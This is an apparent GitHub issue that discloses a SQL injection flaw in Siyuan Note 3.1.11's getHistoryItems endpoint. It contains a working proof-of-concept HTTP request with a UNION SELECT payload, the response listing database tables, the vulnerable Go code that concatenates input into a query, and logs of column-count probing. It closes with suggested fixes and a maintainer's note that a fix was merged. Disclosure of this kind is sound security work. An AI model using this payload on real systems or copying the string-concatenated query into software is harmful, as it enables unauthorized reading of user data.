SQL Injection Vulnerability in getHistoryItems (siyuan Version 3.1.11)

[TaiPhung217]

Is there an existing issue for this?

• I have searched the existing issues

Can the issue be reproduced with the default theme (daylight/midnight)?

• I was able to reproduce the issue with the default theme

Could the issue be due to extensions?

• I've ruled out the possibility that the extension is causing the problem.

Describe the problem

There is a potential SQL injection vulnerability in version 3.1.11 of the Siyuan Note application. The vulnerability exists in the POST /api/history/getHistoryItems endpoint. By sending a request containing a payload, an attacker can exploit this vulnerability to execute arbitrary SQL queries, retrieving data in the database.

PoC

Steps to Reproduce:

1. Set up the Siyuan Note application version 3.1.11 on a local environment.
2. Send the following request to the /api/history/getHistoryItems endpoint:

POST /api/history/getHistoryItems HTTP/1.1
Host: localhost:6806
Content-Length: 208
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-platform: "Windows"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://localhost:6806
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:6806/stage/build/desktop/?r=vshr05s
Accept-Encoding: gzip, deflate, br
Cookie: siyuan=MTczMDg2MTkxNnxEWDhFQVFMX2dBQUJFQUVRQUFCeF80QUFBUVp6ZEhKcGJtY01CZ0FFWkdGMFlRWnpkSEpwYm1jTVZRQlRleUpYYjNKcmMzQmhZMlZ6SWpwN0lpOXphWGwxWVc0dmQyOXlhM053WVdObEx5STZleUpCWTJObGMzTkJkWFJvUTI5a1pTSTZJakV5TXpRaUxDSkRZWEIwWTJoaElqb2lZbWcxY21KMmVTSjlmWDA9fF5xFoKuR_nqED8t-xyAdLUhXwMIaj9E3nswwd1J_2-M; _ga=GA1.1.1190341866.1730861926; _ga_L7WEXVQCR9=GS1.1.1730861926.1.1.1730865252.0.0.0
Connection: keep-alive

{"notebook":"%","query":"","op":"all","type":0,"created":"1728288111111' union select 1,2,(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),4,5,6,7 -- -"}

3. Observe the response containing a list of database tables.

{
  "code": 0,
  "msg": "",
  "data": {
    "items": [
      {
        "title": "4",
        "path": "history/6",
        "op": "histories_fts_case_insensitive,histories_fts_case_insensitive_data,histories_fts_case_insensitive_idx,histories_fts_case_insensitive_content,histories_fts_case_insensitive_docsize,histories_fts_case_insensitive_config",
        "notebook": ""
      }
    ]
  }
}

This response shows that the attack successfully returns a list of table names from the database, demonstrating the ability to perform SQL injection attacks.

The code that caused the vulnerability:

file: kernel/model/history.go

func FullTextSearchHistoryItems(created, query, box, op string, typ int) (ret []*HistoryItem) {
	query = gulu.Str.RemoveInvisible(query)
	if "" != query && HistoryTypeDocID != typ {
		query = stringQuery(query)
	}

	table := "histories_fts_case_insensitive"
	stmt := "SELECT * FROM " + table + " WHERE "
	stmt += buildSearchHistoryQueryFilter(query, op, box, table, typ)
	stmt += " AND created = '" + created + "' ORDER BY created DESC LIMIT " + fmt.Sprintf("%d", fileHistoryPageSize)
	sqlHistories := sql.SelectHistoriesRawStmt(stmt)
	ret = fromSQLHistories(sqlHistories)
	return
}

Impact:

• SQL injection

Expected result

Suggested Fix:

1. Use parameterized queries or prepared statements to prevent SQL injection attacks: https://go.dev/doc/database/prepared-statements
2. Sanitize and validate all user inputs to avoid malicious queries being executed.
3. Implement appropriate security measures such as input validation and error handling to mitigate the risk of SQL injection.

Screenshot or screen recording presentation

No response

Version environment

- Version: 3.1.11 (latest)
- Operating System: ubuntu
- Browser (if used):

Log file

main-1 | Using existing group: siyuan (1000)
main-1 | Using existing user siyuan (PUID: 1000, PGID: 1000)
main-1 | Adjusting ownership of /opt/siyuan, /home/siyuan/, and /siyuan/workspace/
main-1 | Starting Siyuan with UID:1000 and GID:1000 in workspace /siyuan/workspace/
main-1 | I 2024/11/06 09:20:51 working.go:147:
main-1 | ___ ___ ___ ___
main-1 | / /\ ___ ___ //\ / /\ //
main-1 | / /:/_ / /\ //| \ :\ / /::\ \ :
main-1 | / /:/ /\ / /:/ | |:| \ :\ / /:/:\ \ :
main-1 | / /:/ /::\ //::\ | |:| ___ \ :\ / /://::\ __:
main-1 | //:/ /:/:\ _/:_ ||:| //\ __:\ //:/ /:/:\ /_/::::::::
main-1 | \ :/://:/ \ :/\ //::::\ \ :\ / /:/ \ :/:// \ :~~/
main-1 | \ ::/ /:/ _::/ ~:\ \ :\ /:/ \ ::/ \ :\ ~~~
main-1 | _/ /:/ //:/ \ :\ \ :/:/ \ :\ \ :
main-1 | //:/ _/ _/ \ ::/ \ :\ \ :
main-1 | _/ _/ _/ _/
main-1 | I 2024/11/06 09:20:51 runtime.go:79: kernel is booting:
main-1 | * ver [3.1.11]
main-1 | * arch [amd64]
main-1 | * os [alpine]
main-1 | * pid [1]
main-1 | * runtime mode [prod]
main-1 | * working directory [/opt/siyuan]
main-1 | * read only [false]
main-1 | * container [docker]
main-1 | * database [ver=20220501]
main-1 | * workspace directory [/siyuan/workspace/]
main-1 | I 2024/11/06 09:20:51 conf.go:130: loaded conf [/siyuan/workspace/conf/conf.json]
main-1 | I 2024/11/06 09:20:51 runtime.go:128: use network proxy [system]
main-1 | I 2024/11/06 09:20:51 serve.go:139: kernel [pid=1] http server [0.0.0.0:6806] is booting
main-1 | I 2024/11/06 09:20:51 conf.go:841: database size [7.65 MB], tree/block count [66/2297]
main-1 | I 2024/11/06 09:20:51 working.go:193: kernel booted
main-1 | I 2024/11/06 09:20:52 box.go:77: auto stat [trees=66, blocks=2297, dataSize=5.16 MB, assetsSize=3.83 MB]
main-1 | W 2024/11/06 09:21:28 history.go:77: sql query [SELECT * FROM histories_fts_case_insensitive WHERE 1=1 AND path LIKE '%/%/%' AND path LIKE '%.sy' AND CAST(created AS INTEGER) > 1728292888 AND created = '1728288111111'' ORDER BY created DESC LIMIT 32] failed: unrecognized token: "'1728288111111'' ORDER BY created DESC LIMIT 32"
main-1 | W 2024/11/06 09:21:37 history.go:77: sql query [SELECT * FROM histories_fts_case_insensitive WHERE 1=1 AND path LIKE '%/%/%' AND path LIKE '%.sy' AND CAST(created AS INTEGER) > 1728292897 AND created = '1728288111111' order by 10 -- -' ORDER BY created DESC LIMIT 32] failed: 1st ORDER BY term out of range - should be between 1 and 7
main-1 | W 2024/11/06 09:21:48 history.go:77: sql query [SELECT * FROM histories_fts_case_insensitive WHERE 1=1 AND path LIKE '%/%/%' AND path LIKE '%.sy' AND CAST(created AS INTEGER) > 1728292908 AND created = '1728288111111' order by 8 -- -' ORDER BY created DESC LIMIT 32] failed: 1st ORDER BY term out of range - should be between 1 and 7

More information

No response

[88250]

Thanks for your feedback. We have merged the fix into #13077.